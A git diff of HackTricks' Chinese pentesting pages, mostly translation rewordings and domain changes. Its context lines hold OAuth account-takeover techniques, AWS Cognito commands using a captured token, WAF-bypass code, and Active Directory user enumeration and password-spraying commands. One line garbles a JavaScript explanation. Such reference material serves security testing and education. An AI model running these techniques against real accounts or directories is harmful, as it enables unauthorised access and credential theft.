-攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这尤其关键。
+攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这一点尤其关键。
-在各种**CTF挑战**和**黑客平台**中记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。
+在各种**CTF挑战**和**黑客平台**中,已经记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。
正确处理和验证**`state`参数**对于防范CSRF和保护OAuth流程至关重要。
@@ -87,9 +87,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
-识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
+识别和保护秘密的OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
-一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换时。这个错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外,通过社会工程学,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的信任状态。
+一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换。这一错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外,通过社会工程学,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的信任状态。
### 客户端密钥暴力破解
@@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
-一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
+一旦客户端拥有了 **code 和 state**,如果它们在用户浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
### Access Token Stored in Browser History
-前往 **浏览器历史记录并检查访问令牌是否保存在其中**。
+前往 **浏览器历史记录,检查访问令牌是否保存在其中**。
### Everlasting Authorization Code
@@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito
-在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户邮箱更改为其他用户邮箱**,你可能能够 **接管** 其他账户。
+在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **令牌** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户电子邮件更改为其他用户的电子邮件**,你可能能够 **接管** 其他账户。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@@ -146,49 +146,49 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
对于如何滥用 AWS cognito 的更详细信息,请查看:
{{#ref}}
-https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
+https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### 滥用其他应用程序令牌
-正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收 **令牌**(而不是代码)的 OAuth 流程可能会受到攻击,如果它们没有检查令牌是否属于该应用程序。
+正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收 **token**(而不是代码)的 OAuth 流程可能会受到攻击,如果它们没有检查该 token 是否属于该应用程序。
-这是因为 **攻击者** 可以创建一个 **支持 OAuth 的应用程序并使用 Facebook 登录**(例如)在他自己的应用程序中。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给他应用程序的用户的 OAuth 令牌,并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户令牌**。
+这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 并使用 Facebook 登录的应用程序**(例如)。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给其应用程序的用户的 OAuth token,并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户 token**。
> [!CAUTION]
-> 因此,如果攻击者设法让用户访问他自己的 OAuth 应用程序,他将能够在期望令牌且未检查令牌是否授予其应用程序 ID 的应用程序中接管受害者的帐户。
+> 因此,如果攻击者设法让用户访问自己的 OAuth 应用程序,他将能够在期望 token 且未检查 token 是否授予其应用程序 ID 的应用程序中接管受害者的帐户。
### 两个链接和 cookie
-根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个 **returnUrl** 指向攻击者主机的页面。这些信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
+根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
-为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie,在提示显示之前关闭选项卡,然后打开一个没有该值的新选项卡。然后,**提示不会通知攻击者主机**,但 cookie 将被设置为它,因此 **令牌将被发送到攻击者主机** 进行重定向。
+为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie,在提示显示之前关闭选项卡,然后打开一个没有该值的新选项卡。然后,**提示不会通知攻击者的主机**,但 cookie 将被设置为它,因此 **token 将在重定向中发送到攻击者的主机**。
### 提示交互绕过
-正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页上授予的访问权限。
+正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页中授予的访问权限。
### response_mode
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置:
-- `response_mode=query` -> 代码通过 GET 参数提供: `?code=2397rf3gu93f`
-- `response_mode=fragment` -> 代码通过 URL 片段参数提供 `#code=2397rf3gu93f`
-- `response_mode=form_post` -> 代码通过一个名为 `code` 的 POST 表单提供,并包含该值
-- `response_mode=web_message` -> 代码通过消息发送: `window.opener.postMessage({"code": "asdasdasd...`
+- `response_mode=query` -> 代码在 GET 参数中提供: `?code=2397rf3gu93f`
+- `response_mode=fragment` -> 代码在 URL 片段参数中提供 `#code=2397rf3gu93f`
+- `response_mode=form_post` -> 代码在一个名为 `code` 的 POST 表单中提供,并带有值
+- `response_mode=web_message` -> 代码通过 post 消息发送: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC 流程 - 2 FA 绕过
-根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个 **令牌**,该令牌具有用户可以执行的所有操作的访问权限,那么就可以使用该令牌绕过 2FA。
+根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个具有用户可以执行的所有操作的访问权限的 **token**,那么就可以使用该 token 绕过 2FA。
### 基于开放重定向到引荐的网页重定向 ATO
-这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何滥用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下:
+这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何利用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下:
1. 受害者访问攻击者的网页
2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者网站**。
-3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并使用 30X 代码,这仍然保持攻击者网站在引荐中。
-4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而允许他通过 Google 在受害者网站上接管用户的帐户。
+3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并带有 30X 代码,这仍然保持攻击者网站在引荐中。
+4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而使他能够通过 Google 在受害者网站上接管用户的帐户。
### SSRFs 参数
@@ -198,10 +198,10 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
**关键点:**
-- **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name`、`client_secret`、`redirect_uris` 和通过 POST 请求的徽标或 JSON Web 密钥集 (JWKs) 的 URL 等详细信息。
+- **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name`、`client_secret`、`redirect_uris` 和通过 POST 请求的 logo 或 JSON Web Key Sets (JWKs) 的 URL 等详细信息。
- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF:
-- **`logo_uri`**:客户端应用程序徽标的 URL,服务器可能会获取该 URL,从而触发 SSRF 或导致 XSS(如果 URL 处理不当)。
+- **`logo_uri`**:客户端应用程序 logo 的 URL,服务器可能会获取该 URL,从而触发 SSRF 或导致 XSS(如果 URL 处理不当)。
- **`jwks_uri`**:客户端的 JWK 文档的 URL,如果恶意构造,可能导致服务器向攻击者控制的服务器发出外部请求。
- **`sector_identifier_uri`**:引用 `redirect_uris` 的 JSON 数组,服务器可能会获取该数组,从而创建 SSRF 机会。
- **`request_uris`**:列出客户端允许的请求 URI,如果服务器在授权过程开始时获取这些 URI,则可能被利用。
@@ -209,11 +209,11 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
**利用策略:**
- 通过在 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端,可以触发 SSRF。
-- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预先注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
+- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
## OAuth 提供者竞争条件
-如果您正在测试的平台是 OAuth 提供者 [**请阅读此文以测试可能的竞争条件**](race-condition.md)。
+如果您正在测试的平台是 OAuth 提供者 [**请阅读此内容以测试可能的竞争条件**](race-condition.md)。
## 参考文献
diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
index e1da03308..0fbd65e58 100644
--- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
+++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
@@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
```
### **Surrogate Pairs BF**
-这个技术对于 XSS 并不是很有用,但它可能有助于绕过 WAF 保护。这个 Python 代码接收 2 字节作为输入,并搜索一个代理对,其中第一个字节是高代理对的最后一个字节,最后一个字节是低代理对的最后一个字节。
+这个技术对于 XSS 并不是很有用,但它可能对绕过 WAF 保护有帮助。这个 Python 代码接收 2 字节作为输入,并搜索一个代理对,其中第一个字节是高代理对的最后一个字节,最后一个字节是低代理对的最后一个字节。
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@@ -121,6 +121,11 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
+更多信息:
+
+- [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
+- [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
+
### `javascript{}:` 协议模糊测试
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@@ -152,7 +157,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
-a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
+a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@@ -274,9 +279,9 @@ return a + 1
//Arrow
plusone = (a) => a + 100
```
-### Bind 函数
+### Bind function
-bind 函数允许创建一个 **函数的副本**,修改 **`this`** 对象和给定的 **参数**。
+bind 函数允许创建一个 **copy** 的 **function modifying** **`this`** 对象和给定的 **parameters**。
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@@ -301,11 +306,11 @@ var bindFn_this = fn.bind(this, "fixingparam1")
bindFn_change("Hello", "World")
```
> [!NOTE]
-> 请注意,使用 **`bind`** 可以操纵在调用函数时将要使用的 **`this`** 对象。
+> 注意使用 **`bind`** 可以操控在调用函数时将要使用的 **`this`** 对象。
-### 函数代码泄漏
+### 函数代码泄露
-如果您可以 **访问函数的对象**,则可以 **获取该函数的代码**。
+如果你可以 **访问一个函数的对象**,你可以 **获取该函数的代码**。
```javascript
function afunc() {
return 1 + 1
@@ -323,7 +328,7 @@ return arguments.callee.toString()
return arguments[0]
})("arg0")
```
-一些**随机**方法来**提取函数**的代码(甚至注释)从另一个函数:
+一些**随机**方法来**提取代码**(甚至注释)从另一个函数:
```javascript
;(function () {
return (retFunc) => String(arguments[0])
@@ -343,7 +348,7 @@ return String(this)
/* Hidden commment */
})()
```
-## 沙箱逃逸 - 恢复窗口对象
+## Sandbox Escape - 恢复 window 对象
Window 对象允许访问全局定义的函数,如 alert 或 eval。
```javascript
diff --git a/src/todo/cookies-policy.md b/src/todo/cookies-policy.md
index ce37b57f2..12f1ab6fd 100644
--- a/src/todo/cookies-policy.md
+++ b/src/todo/cookies-policy.md
@@ -6,10 +6,10 @@
本Cookies政策适用于HackTricks团队(“HackTricks”,“我们”,“我们”或“我们的”)拥有和运营的以下网站:
-* hacktricks.xyz
-* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
-* book.hacktricks.xyz
-* cloud.hacktricks.xyz
+* hacktricks.wiki
+* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
+* book.hacktricks.wiki
+* cloud.hacktricks.wiki
通过使用这些网站中的任何一个,您同意根据本Cookies政策使用cookies。如果您不同意,请在浏览器设置中禁用cookies或避免使用我们的网站。
@@ -26,11 +26,11 @@ Cookies是当您访问网站时存储在您的计算机或移动设备上的小
3. 功能性cookies:这些cookies使我们的网站能够记住您所做的选择,例如您的语言或地区,以提供更个性化的体验。
4. 定向/广告cookies:这些cookies用于根据您的兴趣、浏览历史和与我们网站的互动提供相关广告和营销通讯。
-此外,页面book.hacktricks.xyz和cloud.hacktricks.xyz托管在Gitbook上。您可以在[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)找到有关Gitbook cookies的更多信息。
+此外,页面book.hacktricks.wiki和cloud.hacktricks.wiki托管在Gitbook上。您可以在[https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)找到有关Gitbook cookies的更多信息。
### 第三方cookies
-除了我们自己的cookies,我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。使用第三方cookies受其各自隐私政策的约束。
+除了我们自己的cookies,我们还可能使用第三方cookies来报告网站使用统计信息、投放广告和启用社交媒体分享按钮。第三方cookies的使用受其各自隐私政策的约束。
管理cookies
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index 11a878873..9dfeecc2e 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -1,4 +1,4 @@
-# HackTricks 值与常见问题
+# HackTricks 值与常见问题解答
{{#include ../banners/hacktricks-training.md}}
@@ -19,14 +19,14 @@

-## HackTricks 常见问题
+## HackTricks 常见问题解答
> [!TIP]
>
> - **非常感谢这些资源,我该如何感谢你们?**
您可以在推特上公开感谢 HackTricks 团队将所有这些资源汇集在一起,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\
-如果您特别感激,您也可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\
+如果您特别感激,您还可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\
并且不要忘记 **在 Github 项目中给个星星!**(在下面找到链接)。
> [!TIP]
@@ -50,21 +50,21 @@
>
> - **我该如何引用 HackTricks 的页面?**
-只要您引用的信息来源的页面 **链接** 出现即可。\
-如果您需要 bibtex,您可以使用类似的格式:
+只要您引用的信息页面的 **链接** 出现即可。\
+如果您需要 bibtex,可以使用类似的格式:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
-url = {\url{https://book.hacktricks.xyz/specific-page}},
+url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
>
> - **我可以在我的博客中复制所有HackTricks吗?**
-**我不建议这样做**。这对任何人都**没有好处**,因为所有**内容已经在官方HackTricks书籍中免费公开**。
+**我不建议这样做**。这对任何人都**没有好处**,因为所有的**内容已经在官方HackTricks书籍中免费公开**。
如果你担心它会消失,只需在Github上分叉或下载,如我所说,它已经是免费的。
@@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
如果你认为HackTricks书籍是为了**商业目的**而制作的,你是**完全错误的**。
-我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)向HackTricks捐款的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便人们专注于内容。
+我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供欣赏我们工作的可能性**,如果他们愿意。因此,我们提供人们通过[**Github赞助商**](https://github.com/sponsors/carlospolop)捐赠给HackTricks的选项,以及**相关的网络安全公司**赞助HackTricks并在书中**放置一些广告**,这些**广告**总是放在**可见**但**不干扰学习**过程的地方,以便有人专注于内容。
你不会发现HackTricks充满了烦人的广告,就像其他内容远不如HackTricks的博客,因为HackTricks不是为了商业目的而制作的。
@@ -90,47 +90,47 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
>
> - **如果HackTricks中有我博客的内容而我不想要它,我该怎么办?**
-请注意,在HackTricks中有链接到你的页面:
+请注意,在HackTricks中链接到你的页面:
- 改善你的**SEO**
-- 内容被**翻译成15种以上的语言**,使更多人能够访问这些内容
+- 内容被**翻译成15种以上语言**,使更多人能够访问这些内容
- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面在HackTricks中后,他们的访问量增加了)
然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**,以及任何基于它的内容。
> [!CAUTION]
>
-> - **如果我在HackTricks中发现复制粘贴的内容,我该怎么办?**
+> - **如果我在HackTricks中发现抄袭的内容,我该怎么办?**
-我们始终**给予原作者所有的信用**。如果你发现某个页面有复制粘贴的内容而没有引用原始来源,请告知我们,我们将**删除它**、**在文本前添加链接**,或**重写并添加链接**。
+我们始终**给予原作者所有的信用**。如果你发现某个页面有抄袭的内容而没有引用原始来源,请告知我们,我们将**删除它**、**在文本前添加链接**,或**重写并添加链接**。
## LICENSE
-Copyright © 保留所有权利,除非另有说明。
+Copyright © All rights reserved unless otherwise specified.
#### License Summary:
-- Attribution: 你可以自由地:
-- Share — 以任何媒介或格式复制和重新分发材料。
-- Adapt — 混合、转变和基于材料进行创作。
+- Attribution: You are free to:
+- Share — copy and redistribute the material in any medium or format.
+- Adapt — remix, transform, and build upon the material.
#### Additional Terms:
-- Third-Party Content: 本博客/书籍的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。使用此类内容是基于合理使用原则或获得相关版权持有人的明确许可。有关第三方内容的具体许可信息,请参考原始来源。
-- Authorship: HackTricks创作的原始内容受此许可条款的约束。鼓励在分享或改编时将此作品归功于作者。
+- Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
+- Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
#### Exemptions:
-- Commercial Use: 有关此内容商业使用的查询,请与我联系。
+- Commercial Use: For inquiries regarding commercial use of this content, please contact me.
-此许可不授予与内容相关的任何商标或品牌权利。所有在本博客/书籍中出现的商标和品牌均为其各自所有者的财产。
+This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
-**通过访问或使用HackTricks,你同意遵守此许可的条款。如果你不同意这些条款,请不要访问此网站。**
+**通过访问或使用HackTricks,您同意遵守本许可证的条款。如果您不同意这些条款,请不要访问此网站。**
## **免责声明**
> [!CAUTION]
-> 本书《HackTricks》仅用于教育和信息目的。书中的内容按“现状”提供,作者和出版商不对书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。你对这些信息的任何依赖均由你自行承担风险。
+> 本书《HackTricks》仅用于教育和信息目的。本书中的内容是按“现状”提供的,作者和出版商不对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。您对这些信息的任何依赖均由您自行承担风险。
>
> 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。
>
diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md
index 1ec697de1..4b7f6bf8a 100644
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@@ -6,7 +6,7 @@
**Active Directory** 作为基础技术,使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展,便于将大量用户组织成可管理的 **组** 和 **子组**,同时在不同级别上控制 **访问权限**。
-**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户** 或 **设备**,共享一个公共数据库。**树** 是通过共享结构连接的这些域的组,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
+**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户** 或 **设备**,共享一个公共数据库。**树** 是这些域的组,按共享结构连接,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
**Active Directory** 中的关键概念包括:
@@ -36,7 +36,7 @@
您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令,以枚举/利用 AD。
-## 侦察 Active Directory (无凭据/会话)
+## 侦查 Active Directory (无凭据/会话)
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
@@ -66,10 +66,10 @@
- **毒化网络**
- 收集凭据 [**通过 Responder 冒充服务**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- 通过 [**滥用中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
-- 收集凭据 **暴露** [**伪造的 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
-- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
+- 收集凭据 **暴露** [**假 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 从内部文档、社交媒体、服务(主要是 Web)中提取用户名/姓名,以及从公开可用的信息中提取。
-- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定**(**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最常见的约定是:_NameSurname_、_Name.Surname_、_NamSur_(每个的 3 个字母)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_(abc123)。
+- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定**(**[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最常见的约定是:_NameSurname_、_Name.Surname_、_NamSur_(每个三个字母)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_(abc123)。
- 工具:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@@ -77,7 +77,7 @@
### 用户枚举
- **匿名 SMB/LDAP 枚举:** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
-- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定该用户名无效。**有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_,指示用户需要进行预身份验证。
+- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定该用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_,指示用户需要进行预身份验证。
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
-> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 中找到用户名列表。
+> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
>
> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
@@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_,你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
